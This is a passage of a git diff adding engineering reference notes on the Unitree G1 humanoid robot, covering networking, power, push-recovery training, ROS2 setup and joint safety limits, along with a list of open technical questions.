+|----------------------------------|------------|------------------------------| +| DDS internal (dev ↔ locomotion) | ~2 ms | CycloneDDS over internal net | +| WiFi (external ↔ dev computer) | Variable | Depends on WiFi conditions | +| Control loop | 2 ms (500 Hz) | Locomotion computer rate | +| LiDAR point cloud | — | Depends on scan rate | + +**Critical:** For real-time control, use wired Ethernet or develop directly on the Jetson to minimize latency. WiFi adds variable latency that can affect control stability. [T2] + +## Key Relationships +- Transports: [[sdk-programming]] (SDK commands and data via DDS) +- Transports: [[ros2-integration]] (ROS2 topics via same DDS layer) +- Affects: [[deployment-operations]] (remote operation reliability) +- Connected to: [[sensors-perception]] (LiDAR network address) diff --git a/context/open-questions.md b/context/open-questions.md new file mode 100644 index 0000000..5196b0d --- /dev/null +++ b/context/open-questions.md @@ -0,0 +1,201 @@ +--- +id: open-questions +title: "Open Questions & Known Unknowns" +status: established +source_sections: null +related_topics: [hardware-specs, joint-configuration, sdk-programming, safety-limits] +key_equations: [] +key_terms: [] +images: [] +examples: [] +open_questions: [] +--- + +# Open Questions & Known Unknowns + +This file catalogs what we know, what we don't know, and what would resolve the gaps. When a question gets answered, move it to the **Resolved** section with the answer and source. + +--- + +## Hardware & Mechanical + +### Open +- **Q:** What are the per-joint velocity limits (dq_max) for all joints? + - _Partial:_ Position limits are known for major joints. Velocity limits not published. + - _Would resolve:_ SDK configuration files, URDF damping/velocity tags, or actuator datasheets. + +- **Q:** What are the exact link masses and inertia tensors for dynamics modeling? + - _Partial:_ Total mass ~35 kg known. Per-link breakdown should be in URDF. + - _Would resolve:_ Parse URDF from unitree_ros/robots/g1_description/. + +- **Q:** What is the ankle joint range of motion? + - _Partial:_ Ankle joints exist (pitch + roll) but ranges not in public specs. + - _Would resolve:_ URDF joint limits, or physical measurement. + +- **Q:** What are the exact gear ratios per joint actuator? + - _Partial:_ Planetary gearboxes used, ratios not published. + - _Would resolve:_ Actuator datasheets. + +- **Q:** What is the IP rating and environmental protection? + - _Partial:_ Not documented anywhere. + - _Would resolve:_ Official compliance documentation. + +### Open (Dexterous Hands) +- **Q:** What are the Dex3-1 per-finger force limits? + - _Partial:_ 33 tactile sensors, force-position hybrid control confirmed. Max force not documented. + - _Would resolve:_ Dex3-1 actuator datasheet or testing. + +- **Q:** What is the exact INSPIRE hand DOF configuration per finger? + - _Partial:_ Known to be 5-finger, "advanced." Per-finger DOF not documented. + - _Would resolve:_ INSPIRE DFX documentation page (partially available). + +--- + +## Software & SDK + +### Open +- **Q:** What is the complete Python vs C++ API coverage parity? + - _Partial:_ Python SDK uses pybind11 wrapping C++. Unclear if 100% coverage. + - _Would resolve:_ Side-by-side API comparison. + +- **Q:** What firmware version ships on currently-sold G1 units? + - _Partial:_ v3.2+ mentioned in documentation. Actual shipping version unclear. + - _Would resolve:_ Checking a new unit, or Unitree support inquiry. + +- **Q:** What is the LLM integration capability in firmware v3.2+? + - _Partial:_ "Preliminary LLM integration support" mentioned. Details sparse. + - _Would resolve:_ Testing on EDU unit with Jetson, or official documentation update. + +--- + +## Control & Locomotion + +### Open +- **Q:** Can the G1 run (not just walk)? What is the true max speed? + - _Partial:_ Walking max is 2 m/s. H1-2 can run at 3.3 m/s. G1 running gait not confirmed. + - _Would resolve:_ Testing or official confirmation. + +- **Q:** What is the exact RL policy observation/action space? + - _Partial:_ Inputs include IMU + joint encoders. Exact dimensions not documented. + - _Would resolve:_ Official policy architecture documentation or code inspection. + +- **Q:** Can a custom locomotion policy be deployed natively to the RK3588 locomotion computer? + - _Partial:_ Root access achieved via BLE exploits (UniPwn, FreeBOT). The `ai_sport` binary is the stock policy. Nobody has publicly documented replacing it. Config files use FMX encryption (partially cracked). + - _Would resolve:_ Full reverse engineering of `master_service` orchestrator and `ai_sport` binary, or Unitree providing official developer access. + +--- + +## Simulation + +### Open +- **Q:** What are the optimal domain randomization parameters for G1 sim-to-real? + - _Partial:_ Standard parameters (friction, mass, noise) used. Optimal ranges not published. + - _Would resolve:_ Research papers with ablation studies. + +--- + +## Safety & Deployment + +### Open +- **Q:** What are the official safety certifications (CE, FCC, etc.)? + - _Partial:_ Not documented in any available source. + - _Would resolve:_ Official compliance documentation. + +- **Q:** What is the recommended operating temperature and humidity range? + - _Partial:_ Not documented. Indoor operation recommended as best practice. + - _Would resolve:_ Official operating manual detailed specs. + +- **Q:** What is the low-battery cutoff voltage and auto-shutdown behavior? + - _Partial:_ 13-cell LiPo at ~48V nominal, but cutoff threshold not documented. + - _Would resolve:_ Battery management system documentation. + +- **Q:** What is the Jetson Orin NX power draw under computational load? + - _Partial:_ Standard Orin NX specs suggest 10-25W. G1-specific thermal management unclear. + - _Would resolve:_ Power measurement on running unit. + +--- + +## Motion Capture & Balance (Phase 2) + +### Open +- **Q:** What is the max recoverable push force for the stock G1 controller? + - _Partial:_ Light push recovery confirmed. Max impulse not quantified. + - _Would resolve:_ Physical push testing with force measurement, or Unitree internal documentation. + +- **Q:** Can GR00T-WBC run at 500 Hz on the Jetson Orin NX? + - _Partial:_ Orin NX has 100 TOPS. RL inference typically < 1ms. But GR00T-WBC may have WBC optimization overhead. + - _Would resolve:_ Benchmarking GR00T-WBC on Orin NX, or NVIDIA documentation on compute requirements. + +- **Q:** What is the end-to-end latency from mocap capture to robot execution? + - _Partial:_ DDS latency ~2ms. XR teleoperate latency not documented. Video-based pose estimation adds 30-100ms. + - _Would resolve:_ End-to-end timing measurement with each mocap source. + +- **Q:** Does residual policy overlay work with the proprietary locomotion computer, or does it require full replacement? + - _Partial:_ rt/lowcmd can send joint commands. Unclear if these override or add to stock controller output. + - _Would resolve:_ Testing: send small corrections to leg joints while stock controller is active. Observe behavior. + +- **Q:** What AMASS motions have been successfully replayed on physical G1? + - _Partial:_ AMASS retarget exists on HuggingFace. Which specific motions have been executed on real hardware is not documented publicly. + - _Would resolve:_ Testing with the retargeted dataset, or finding lab reports from groups using it. + +- **Q:** What is the minimum viable sensor set for push detection (IMU only vs. IMU + F/T)? + - _Partial:_ G1 has IMU and joint encoders but no force/torque sensors at feet. External force must be estimated. + - _Would resolve:_ Compare push detection accuracy: IMU-only vs. IMU + momentum observer vs. added F/T sensors. + +--- + +## Resolved + +### Hardware & Mechanical (Resolved) + +- **Q:** What are the exact DOF configurations for each G1 variant? + - **A:** Base = 23-DOF (6+6+1+5+5), Mid = 29-DOF (6+6+3+7+7), Full = 43-DOF (29 body + 14 hand). [T0 — Official spec sheet] + +- **Q:** What are the per-joint torque limits? + - **A (partial):** Knee max = 90 Nm (base) / 120 Nm (EDU). Other joints not published. [T0 — Official spec sheet] + +- **Q:** What is the maximum payload capacity? + - **A:** 2 kg per arm (standard), 3 kg per arm (EDU). [T0 — Official spec sheet] + +### Sensors & Perception (Resolved) + +- **Q:** What is the full sensor suite across G1 variants? + - **A:** Intel RealSense D435i (RGBD), Livox MID360 (3D LiDAR), IMU, 4-element microphone array, 5W speaker, dual joint encoders, per-motor temperature sensors. Dex3-1 adds 33 tactile sensors per hand. [T0 — Official product page] + +- **Q:** What are the camera specifications? + - **A (partial):** Intel RealSense D435i — standard specs 1280x720@30fps (depth), 1920x1080@30fps (RGB), 87°×58° FOV. G1-specific configuration may differ. [T0/T3 — D435i datasheet + inference] + +### Software & SDK (Resolved) + +- **Q:** What is the current stable SDK2 version and Python API coverage? + - **A:** unitree_sdk2 v2.0.2 (C++, BSD-3). Python wrapper via unitree_sdk2_python using pybind11, Python ≥3.8. CycloneDDS 0.10.2 required. [T0 — GitHub] + +- **Q:** What ROS2 distributions are officially supported? + - **A:** Ubuntu 20.04 + ROS2 Foxy, Ubuntu 22.04 + ROS2 Humble (recommended). [T0 — unitree_ros2 README] + +- **Q:** What control modes are available via SDK? + - **A:** Position (q), velocity (dq), torque (tau), force-position hybrid. Via MotorCmd_ structure on rt/lowcmd topic. Enable/disable per motor. [T0 — Developer guide] + +### Simulation (Resolved) + +- **Q:** Are there official URDF/MJCF models available? + - **A:** Yes. MJCF in MuJoCo Menagerie (g1.xml, g1_with_hands.xml). URDF in unitree_ros/robots/g1_description/. USD in unitree_model (deprecated → HuggingFace). [T0 — GitHub repos] + +### Hardware & Architecture (Resolved) + +- **Q:** What processor runs on the locomotion computer? + - **A:** Rockchip RK3588 (8-core ARM Cortex-A76/A55, 8GB LPDDR4X, 32GB eMMC), running Linux 5.10.176-rt86+. Runs 26 daemons including `ai_sport` (the stock locomotion policy). [T1 — arXiv:2509.14096, arXiv:2509.14139] + +- **Q:** How to replace the stock locomotion policy with a custom one? + - **A:** Enter debug mode (L2+R2 on remote while robot is suspended in damping state). This shuts down `ai_sport`. Then send motor commands from Jetson or external PC via `rt/lowcmd` DDS topic. All published research groups use this method. Native deployment to the RK3588 has not been publicly achieved. [T1 — Community + research papers] + +### Control & Locomotion (Resolved) + +- **Q:** What locomotion controller is running on the stock G1? + - **A:** Gait-conditioned reinforcement learning with multi-phase curriculum. Biomechanically inspired reward shaping. Trained in simulation, deployed via sim-to-real transfer. [T1 — arXiv:2505.20619] + +- **Q:** What are the achievable walking speeds and terrain capabilities? + - **A:** Max 2 m/s walking. Verified on tile, concrete, carpet. Light push recovery. Smooth gait transitions. [T0/T1 — Official specs + testing] + +- **Q:** What sim-to-real transfer approaches work best for the G1? + - **A:** Domain randomization in Isaac Gym/MuJoCo, with Sim2Sim cross-validation. Zero-shot transfer demonstrated for locomotion and fall recovery. DDS interface identical in sim and real (switch network config only). [T1 — Multiple papers] diff --git a/context/power-system.md b/context/power-system.md new file mode 100644 index 0000000..8d821f9 --- /dev/null +++ b/context/power-system.md @@ -0,0 +1,73 @@ +--- +id: power-system +title: "Power System" +status: established +source_sections: "reference/sources/official-product-page.md, reference/sources/official-user-manual.md" +related_topics: [hardware-specs, safety-limits, deployment-operations] +key_equations: [battery_runtime] +key_terms: [battery_capacity] +images: [] +examples: [] +open_questions: + - "Exact nominal battery voltage (calculated ~48V from 13-cell)" + - "Power draw breakdown by subsystem (compute vs actuators vs sensors)" + - "Charging time from empty to full" + - "Low-battery cutoff voltage and behavior" +--- + +# Power System + +Battery, power distribution, runtime, and charging for the G1. + +## 1. Battery Specifications + +| Parameter | Value | Unit | Source | Tier | +|-------------------|----------------|------|------------------------|------| +| Chemistry | Lithium-ion (LiPo) | — | Official spec sheet | T0 | +| Cell configuration | 13-cell series | — | Official spec sheet | T0 | +| Capacity | 9,000 | mAh | Official spec sheet | T0 | +| Energy (estimated) | ~432 | Wh | 9Ah × ~48V nominal | T3 | +| Form factor | Quick-release smart battery | — | Official spec sheet | T0 | + +**Note on energy estimate:** A 13-cell LiPo at nominal 3.7V/cell = 48.1V nominal. 9Ah × 48.1V ≈ 432 Wh. This is a T3 inference — official Wh rating not published. [T3] + +## 2. Charging + +| Parameter | Value | Unit | Source | Tier | +|-------------------|--------------------|------|---------------------|------| +| Charger input | 100-240V AC, 50/60Hz | — | Official spec sheet | T0 | +| Charger input current | 4A @ 350VA | — | Official spec sheet | T0 | +| Charger output | 54V DC | V | Official spec sheet | T0 | +| Charger output current | 5A | A | Official spec sheet | T0 | +| Max charge power | 270 | W | 54V × 5A | T3 | + +## 3. Runtime Estimates + +| Activity | Runtime | Source | Tier | +|----------------------|------------|------------------------|------| +| Continuous operation | ~2 hours | Official spec sheet | T0 | +| G1-D (wheeled variant) | Up to 6 hours | G1-D product page | T0 | + +Runtime varies significantly with activity profile. Walking with manipulation draws more power than standing idle. Specific power draw per activity mode not yet documented. [T3] + +## 4. Cooling + +- **System:** Local air cooling for motors and electronics [T0] +- **Motor cooling:** Efficient heat dissipation via hollow motor shaft design [T0] +- **Thermal monitoring:** Per-motor temperature sensors for overheating protection [T0] + +## 5. Power Distribution + +Power flows from the battery to three main consumers: [T3 — Inferred from architecture] + +1. **Actuators** — All joint motors (largest consumer during locomotion) +2. **Compute** — Locomotion computer + development computer (Jetson Orin NX) +3. **Sensors & peripherals** — Cameras, LiDAR, microphones, speaker, WiFi/BT + +The quick-release smart battery connector allows field battery swaps for extended operation. + +## Key Relationships +- Powers: [[hardware-specs]] (entire platform) +- Constrains: [[deployment-operations]] (mission duration) +- Safety governed by: [[safety-limits]] (low-battery cutoff) +- Equations: [[equations-and-bounds]] (runtime formula) diff --git a/context/push-recovery-balance.md b/context/push-recovery-balance.md new file mode 100644 index 0000000..6be4523 --- /dev/null +++ b/context/push-recovery-balance.md @@ -0,0 +1,295 @@ +--- +id: push-recovery-balance +title: "Push Recovery & Robust Balance" +status: established +source_sections: "reference/sources/paper-gait-conditioned-rl.md, reference/sources/paper-getting-up-policies.md, reference/sources/paper-safe-control-cluttered.md, reference/sources/paper-residual-policy.md, reference/sources/paper-cbf-humanoid.md" +related_topics: [locomotion-control, whole-body-control, safety-limits, equations-and-bounds, learning-and-ai, simulation] +key_equations: [com, zmp, inverse_dynamics] +key_terms: [push_recovery, ankle_strategy, hip_strategy, stepping_strategy, residual_policy, control_barrier_function, support_polygon, perturbation_curriculum] +images: [] +examples: [] +open_questions: + - "What is the max recoverable push force for the stock G1 controller?" + - "Does residual policy overlay work with the proprietary locomotion computer, or does it require full replacement?" + - "What is the minimum viable sensor set for push detection (IMU only vs. IMU + F/T)?" + - "What perturbation force ranges should be used in training curriculum?" +--- + +# Push Recovery & Robust Balance + +Making the G1 robust to external pushes and maintaining balance during all activities — the "always-on" stability layer. + +## 1. Push Recovery Strategies + +When a humanoid is pushed, it can respond with progressively more aggressive strategies depending on perturbation magnitude: [T1 — Established biomechanics/robotics] + +### Ankle Strategy (Small Perturbations) +- **Mechanism:** Ankle torque adjusts center of pressure (CoP) within the foot +- **Range:** Small pushes that don't move CoM outside the foot support area +- **Speed:** Fastest response (~50ms) +- **G1 applicability:** Yes — G1 has ankle pitch and roll joints [T1] +- **Limitation:** Only works for small perturbations; foot must remain flat + +### Hip Strategy (Medium Perturbations) +- **Mechanism:** Rapid hip flexion/extension shifts CoM back over support +- **Range:** Pushes that exceed ankle authority but don't require stepping +- **Speed:** Medium (~100-200ms) +- **G1 applicability:** Yes — G1 hip has 3 DOF with ±154° pitch [T1] +- **Often combined with:** Upper body countermotion (arms swing opposite to push direction) + +### Stepping Strategy (Large Perturbations) +- **Mechanism:** Take a recovery step to create a new support polygon under the shifted CoM +- **Range:** Large pushes where CoM exits current support polygon +- **Speed:** Slowest (~300-500ms, must plan and execute step) +- **G1 applicability:** Yes — requires whole-body coordination [T1] +- **Most complex:** Needs free space to step into, foot placement planning + +### Combined/Learned Strategy +Modern RL-based controllers learn a blended strategy that seamlessly transitions between ankle, hip, and stepping responses based on perturbation magnitude. This is the approach used by the G1's stock controller and by research push-recovery policies. [T1] + +## 2. What the Stock Controller Already Does + +The G1's proprietary RL-based locomotion controller (running on the locomotion computer at 192.168.123.161) already handles basic push recovery: [T1] + +- **Light push recovery** during standing and walking — confirmed in arXiv:2505.20619 +- **Gait-conditioned policy** implicitly learns balance through training +- **500 Hz control loop** provides fast response to perturbations + +However, the stock controller's push recovery limits are not documented. Key unknowns: +- Maximum recoverable impulse (N·s) during standing +- Maximum recoverable impulse during walking +- Whether it uses stepping recovery or only ankle/hip strategies +- How it performs when the upper body is doing something unexpected (e.g., mocap) + +## 3. Enhancing Push Recovery + +### 3a. Perturbation Curriculum Training + +The most validated approach: train an RL policy in simulation with random external forces applied during training. [T1 — Multiple G1 papers] + +``` +Training Loop (in sim): +1. Run locomotion policy +2. At random intervals, apply external force to robot torso + - Direction: random (forward, backward, lateral) + - Magnitude: curriculum (start small, increase as policy improves) + - Duration: 0.1-0.5s impulse +3. Reward: stay upright, track velocity command, minimize energy +4. Penalty: falling, excessive joint acceleration +``` + +**Key papers validated on G1:** + +| Paper | Approach | Validated? | Key Finding | +|---|---|---|---| +| arXiv:2505.20619 | Gait-conditioned RL with perturbations | Yes (real G1) | Push robustness during walking | +| arXiv:2511.07407 | Unified fall prevention + mitigation + recovery | Yes (zero-shot) | Combined strategy from sparse demos | +| arXiv:2502.12152 | Two-stage recovery (supine + prone) | Yes (real G1) | Get-up after falling | +| arXiv:2502.08378 | HoST multi-critic RL | Yes (real G1) | Diverse posture recovery | + +### Perturbation Curriculum Parameters (Typical) + +| Parameter | Start | End | Notes | +|---|---|---|---| +| Max force (N) | 20 | 100-200 | Ramp over training | +| Force duration (s) | 0.1 | 0.5 | Short impulses to sustained pushes | +| Direction | Forward only | Omnidirectional | Add lateral/backward progressively | +| Frequency | Rare (every 10s) | Frequent (every 2s) | Increase as policy improves | +| Application point | Torso center | Random (torso, shoulders) | Vary to generalize | + +[T2 — Ranges from research papers, not G1-specific tuning] + +### 3b. Residual Policy Learning + +Train a small "correction" policy that adds to the output of an existing base controller: [T1 — Established technique] + +``` +Base Controller Output (stock or trained): a_base +Residual Policy Output (small corrections): a_residual +Final Action: a = a_base + α * a_residual (α < 1 for safety) +``` + +**Why this matters for G1:** +- The stock locomotion controller is good but not customizable +- A residual policy can be trained on top of it to improve push recovery +- The scaling factor α limits how much the residual can deviate from base behavior +- This is the safest path to "enhanced" balance without replacing the stock controller + +**Implementation on G1 (Approach A — Overlay):** +1. Read current lowstate (joint positions/velocities, IMU) +2. Estimate what the stock controller "wants" (by observing lowcmd at previous timestep) +3. Compute residual correction based on detected perturbation +4. Add correction to the stock controller's output on rt/lowcmd +5. Clamp to joint limits + +**Challenge:** The stock controller runs on the locomotion computer. The residual runs on the Jetson. There's a ~2ms DDS round-trip latency between them. This may cause instability if the residual and stock controller fight each other. [T3 — Architectural inference, not tested] + +### 3c. Control Barrier Functions (CBFs) + +A formal safety framework that guarantees the robot stays within a "safe set": [T1 — Control theory] + +``` +Safety constraint: h(x) ≥ 0 (e.g., CoM is within support polygon) +CBF condition: ḣ(x,u) + α·h(x) ≥ 0 (safety is maintained over time) +``` + +At each timestep, solve a QP: +``` +minimize || u - u_desired ||^2 (stay close to desired action) +subject to ḣ(x,u) + α·h(x) ≥ 0 (CBF safety constraint) + u_min ≤ u ≤ u_max (actuator limits) +``` + +**G1-specific work:** +- arXiv:2502.02858 uses Projected Safe Set Algorithm (p-SSA) on real G1 for collision avoidance in cluttered environments +- The same CBF framework can be applied to balance: define h(x) as the distance of CoM projection from the edge of the support polygon + +**Pros:** Formal guarantee (if model is accurate), minimal modification to existing controller (just a safety filter) +**Cons:** Requires accurate dynamics model, computationally expensive real-time QP, conservative (may reject valid actions) + +## 4. Always-On Balance Architecture + +How to maintain balance as a background process during other activities (mocap playback, manipulation, teleoperation): + +### Option A: Residual Overlay on Stock Controller +``` +┌──────────┐ high-level ┌──────────────┐ rt/lowcmd ┌──────────┐ +│ Task │ commands │ Stock Loco │ (legs) │ Joint │ +│ (mocap, │────────────►│ Controller │─────────────►│ Actuators│ +│ manip) │ │ (proprietary)│ └──────────┘ +│ │ rt/lowcmd │ │ +│ │─(arms only)─►│ │ +└──────────┘ └──────────────┘ + + optional residual corrections on leg joints +``` +- Stock controller handles balance automatically +- User code controls arms/waist for task +- Optional: add small residual corrections to leg joints for enhanced stability +- **Risk level:** Low +- **Balance authority:** Whatever the stock controller provides + +### Option B: GR00T-WBC (Recommended) +``` +┌──────────┐ upper-body ┌──────────────┐ rt/lowcmd ┌──────────┐ +│ Task │ targets │ GR00T-WBC │ (all joints)│ Joint │ +│ (mocap, │────────────►│ │─────────────►│ Actuators│ +│ manip) │ │ Loco Policy │ └──────────┘ +│ │ │ (RL, trained │ +│ │ │ with pushes)│ +└──────────┘ └──────────────┘ +``` +- Trained locomotion policy handles balance (including push recovery if perturbation-trained) +- Upper-body targets come from task (mocap, manipulation, teleoperation) +- WBC coordinator resolves conflicts between task and balance +- **Risk level:** Medium (need to validate RL locomotion policy) +- **Balance authority:** Full (can be specifically trained for perturbation robustness) + +### Option C: Full Custom Policy +``` +┌──────────┐ reference ┌──────────────┐ rt/lowcmd ┌──────────┐ +│ Mocap │ motion │ Custom RL │ (all joints)│ Joint │ +│ Reference │────────────►│ Tracking + │─────────────►│ Actuators│ +│ │ │ Balance │ └──────────┘ +│ │ │ Policy │ +└──────────┘ └──────────────┘ +``` +- Single RL policy that simultaneously tracks reference motion AND maintains balance +- BFM-Zero approach — trained on diverse motions with perturbation curriculum +- **Risk level:** High (full low-level control, must handle everything) +- **Balance authority:** Maximum (policy sees everything, controls everything) +- **Best for:** Production deployment after extensive sim validation + +## 5. Fall Recovery (When Push Recovery Fails) + +Even with robust push recovery, falls will happen during development. Recovery capability matters: [T1 — Research papers] + +| Approach | Paper | Method | G1 Validated? | +|---|---|---|---| +| Two-stage RL | arXiv:2502.12152 | Separate supine/prone recovery policies | Yes | +| HoST | arXiv:2502.08378 | Multi-critic RL, diverse posture recovery | Yes | +| Unified safety | arXiv:2511.07407 | Prevention + mitigation + recovery combined | Yes (zero-shot) | + +### Fall Detection +- **IMU-based:** Detect excessive tilt angle (e.g., pitch/roll > 45°) or angular velocity +- **Joint-based:** Detect unexpected ground contact (arm joints hitting torque limits) +- **CoM-based:** Estimate CoM position, detect when it exits recoverable region + +### Fall Mitigation +- arXiv:2511.07407 trains a policy that, when fall is inevitable, actively reduces impact: + - Tuck arms in + - Rotate to distribute impact + - Reduce angular velocity before ground contact + +## 6. Metrics for Push Recovery + +Quantitative measures to evaluate balance robustness: [T2 — Research community standards] + +| Metric | Definition | Target (Good) | Target (Excellent) | +|---|---|---|---| +| Max recoverable push (standing) | Maximum impulse (N·s) the robot survives while standing | 30 N·s | 60+ N·s | +| Max recoverable push (walking) | Maximum impulse during walking | 20 N·s | 40+ N·s | +| Recovery time | Time from perturbation to return to steady state | < 2s | < 1s | +| Success rate | % of randomized pushes survived (test distribution) | > 90% | > 98% | +| CoM deviation | Maximum CoM displacement during recovery | < 0.3m | < 0.15m | +| No-step recovery range | Max push recovered without taking a step | 20 N·s | 40 N·s | + +[T3 — Targets are estimates based on research papers, not G1-specific benchmarks] + +## 7. Training Push-Robust Policies for G1 + +### Recommended Sim Environment +- **Isaac Gym** (via unitree_rl_gym) for massively parallel training +- **MuJoCo** (via MuJoCo Menagerie g1.xml) for validation +- **Domain randomization:** Friction (0.3-1.5), mass (±15%), motor strength (±10%), latency (0-10ms) + +### Reward Design for Push Robustness +```python +# Pseudocode — typical reward structure +reward = ( + + w_alive * alive_bonus # Stay upright + + w_track * velocity_tracking # Follow commanded velocity + + w_smooth * action_smoothness # Minimize jerk + - w_energy * energy_penalty # Minimize energy use + - w_fall * fall_penalty # Heavy penalty for falling + - w_slip * foot_slip_penalty # Minimize foot sliding + + w_upright * upright_bonus # Reward torso verticality +) +``` + +### Training Stages (Multi-Phase Curriculum) +1. **Phase 1:** Stand without falling (no perturbations) +2. **Phase 2:** Walk on flat terrain (no perturbations) +3. **Phase 3:** Walk with small random pushes (10-30N) +4. **Phase 4:** Walk with medium pushes (30-80N) + terrain variation +5. **Phase 5:** Walk with large pushes (80-200N) + task (upper body motion) + +[T2 — Based on curriculum strategies in published G1 papers] + +## 8. Development Roadmap + +Recommended progression for achieving "always-on balance during mocap": + +``` +Phase 1: Evaluate stock controller push limits + └── Push test on real G1, document max impulse +Phase 2: Train push-robust locomotion policy in sim + └── unitree_rl_gym + perturbation curriculum + └── Validate in MuJoCo (Sim2Sim) +Phase 3: Deploy on real G1 (locomotion only) + └── Start with gentle pushes, increase gradually +Phase 4: Add upper-body mocap tracking + └── GR00T-WBC or custom WBC layer + └── Test: can it maintain balance while arms track mocap? +Phase 5: Combined push + mocap testing + └── Push robot while it replays mocap motion + └── Iterate on perturbation curriculum if needed +``` + +## Key Relationships +- Extends: [[locomotion-control]] (enhanced version of stock balance) +- Component of: [[whole-body-control]] (balance as a constraint in WBC) +- Protects: [[motion-retargeting]] (ensures stability during mocap playback) +- Governed by: [[safety-limits]] (fall detection, e-stop integration) +- Trained via: [[learning-and-ai]] (RL with perturbation curriculum) +- Tested in: [[simulation]] (MuJoCo/Isaac with external force application) +- Bounded by: [[equations-and-bounds]] (CoM, ZMP, support polygon) diff --git a/context/ros2-integration.md b/context/ros2-integration.md new file mode 100644 index 0000000..77ac197 --- /dev/null +++ b/context/ros2-integration.md @@ -0,0 +1,109 @@ +--- +id: ros2-integration +title: "ROS2 Integration" +status: established +source_sections: "reference/sources/github-unitree-ros2.md, reference/sources/official-developer-guide.md" +related_topics: [sdk-programming, networking-comms, simulation] +key_equations: [] +key_terms: [ros2, dds, cyclone_dds] +images: [] +examples: [] +open_questions: + - "Complete list of ROS2 topics and services for G1" + - "RViz visualization configuration details" + - "Is ROS2 Jazzy supported?" +--- + +# ROS2 Integration + +ROS2 middleware integration, packages, topics, and services for the G1. + +## 1. Supported Distributions + +| OS | ROS2 Distribution | Status | Tier | +|----------------|-------------------|---------------|------| +| Ubuntu 20.04 | Foxy | Supported | T0 | +| Ubuntu 22.04 | Humble | Recommended | T0 | + +[T0 — unitree_ros2 GitHub README] + +## 2. Architecture + +The `unitree_ros2` package communicates directly via DDS at the middleware level — it does **not** wrap the SDK. Instead, it uses the same CycloneDDS 0.10.2 protocol that the SDK uses, providing native ROS2 compatibility. [T0] + +``` +ROS2 Application ←→ CycloneDDS 0.10.2 ←→ Robot (DDS topics) + ↕ +unitree_sdk2 ←→ CycloneDDS 0.10.2 ←→ Robot (DDS topics) +``` + +Both paths use the same underlying DDS transport and can coexist. + +## 3. Unitree ROS2 Packages + +| Package / Directory | Purpose | +|---------------------|----------------------------------------------| +| `cyclonedds_ws/` | ROS2 message definitions for Unitree DDS types | +| `example/src/` | Sample state reading and motor control apps | +| `.devcontainer/` | Docker development environments | + +Repository: https://github.com/unitreerobotics/unitree_ros2 [T0] + +### Related Packages + +| Package | Repository | Purpose | +|-----------------------|--------------------------------------------------------|--------------------------------| +| `unitree_ros2_to_real` | https://github.com/unitreerobotics/unitree_ros2_to_real | Real-time control from ROS2 | +| `g1pilot` | https://github.com/hucebot/g1pilot | Community ROS2 G1 control | + +## 4. Capabilities + +- **State acquisition:** Sport mode states, position/velocity/gait data, motor states, power info, wireless controller input [T0] +- **Robot control:** High-level sport mode (request/response), low-level motor control (torque/position/velocity) [T0] +- **Visualization:** RViz support for LiDAR point clouds and sensor data [T0] +- **Joint state publishing:** Standard `sensor_msgs/JointState` for visualization and planning [T1] + +## 5. Installation + +```bash +# Clone repository +git clone https://github.com/unitreerobotics/unitree_ros2.git + +# Build CycloneDDS workspace first +cd unitree_ros2/cyclonedds_ws +colcon build + +# Source the workspace +source install/setup.bash + +# Build examples +cd ../example +colcon build +``` + +**Critical:** CycloneDDS version must be exactly 0.10.2. Version mismatches will cause communication failures. [T0] + +## 6. URDF / Robot Description + +| Source | Format | Location | Notes | +|-----------------------|--------|-------------------------------------|--------------------------| +| `unitree_ros` | URDF | `robots/g1_description/` | Mass, inertia, joint limits | +| MuJoCo Menagerie | MJCF | `unitree_g1/g1.xml` | Optimized for MuJoCo | +| `unitree_model` | USD | Deprecated → HuggingFace | For Isaac Sim | + +The primary URDF is in the `unitree_ros` repository at https://github.com/unitreerobotics/unitree_ros. It includes mass, inertia, moment, and joint limits data. [T0] + +**Note:** The URDF is designed for MuJoCo, not Gazebo. Gazebo simulation cannot do high-level control (walking). [T1] + +## 7. Middleware Configuration + +- **DDS implementation:** CycloneDDS 0.10.2 (mandatory) +- **Domain ID:** Configure via `ROS_DOMAIN_ID` environment variable +- **Sim vs Real:** Change domain ID to switch between simulated and real robot +- **QoS:** Default QoS profiles work for most use cases + +## Key Relationships +- Built on: [[sdk-programming]] (shared DDS communication layer) +- Uses: [[networking-comms]] (CycloneDDS middleware) +- Enables: [[simulation]] (ROS2 bridge to sim environments) +- Models in: [[simulation]] (URDF/MJCF for visualization and planning) diff --git a/context/safety-limits.md b/context/safety-limits.md new file mode 100644 index 0000000..d4d794f --- /dev/null +++ b/context/safety-limits.md @@ -0,0 +1,205 @@ +--- +id: safety-limits +title: "Safety & Operational Limits" +status: established +source_sections: "reference/sources/official-user-manual.md, reference/sources/paper-safe-control-cluttered.md, reference/sources/paper-getting-up-policies.md" +related_topics: [hardware-specs, joint-configuration, equations-and-bounds, deployment-operations, push-recovery-balance, whole-body-control] +key_equations: [] +key_terms: [e_stop, safety_limits] +images: [] +examples: [] +open_questions: + - "Official safety certifications (CE, FCC, etc.)" + - "Exact temperature and humidity operating ranges" + - "IP rating" + - "Software e-stop API call sequence" + - "Low-battery cutoff voltage and automatic shutdown behavior" +--- + +# Safety & Operational Limits + +Safety systems, operational limits, emergency procedures, and compliance for the G1. + +## 1. Emergency Stop + +The G1 has emergency stop capabilities: [T1 — User manual, developer experience] + +- **Hardware e-stop:** Physical button on the robot (location per user manual) +- **Software e-stop:** Available via SDK API (exact call sequence to be documented) +- **Wireless remote:** The included wireless remote has emergency stop functionality +- **Recovery:** After e-stop, the robot must be explicitly re-enabled before resuming operation + +**Kinect teleoperation safety:** The kinect_teleoperate system includes a "wake-up action" detection (forearm forward, arm at 90°, hold for several seconds) to prevent accidental activation. [T0 — kinect_teleoperate README] + +## 2. Joint Limits & Protections + +### Software Joint Limits + +The locomotion computer enforces joint position limits: [T0] + +| Joint Region | Known Limits | +|-------------|---------------------------------------------------------------------------| +| Hip yaw | ±158° (±2.758 rad) | +| Hip roll | -30° to +170° (-0.524 to +2.967 rad) | +| Hip pitch | ±154° (±2.688 rad) | +| Knee | 0° to 165° (0 to 2.880 rad) | +| Waist yaw | ±155° (±2.705 rad) | +| Ankle | Not yet documented | + +See [[equations-and-bounds]] for full numerical joint limits table. + +### Collision Avoidance + +Research-level collision avoidance has been demonstrated: [T1] + +- **Projected Safe Set Algorithm** (arXiv:2502.02858): Enforces limb-level geometric constraints for self-collision and external collision prevention in cluttered environments. Validated on G1. [T1] +- **SHIELD** (arXiv:2505.11494): Safety framework using stochastic dynamics residual models and Control Barrier Functions for layered safety. [T1] + +Whether the stock firmware includes collision avoidance is not confirmed. [T3] + +## 3. Torque & Current 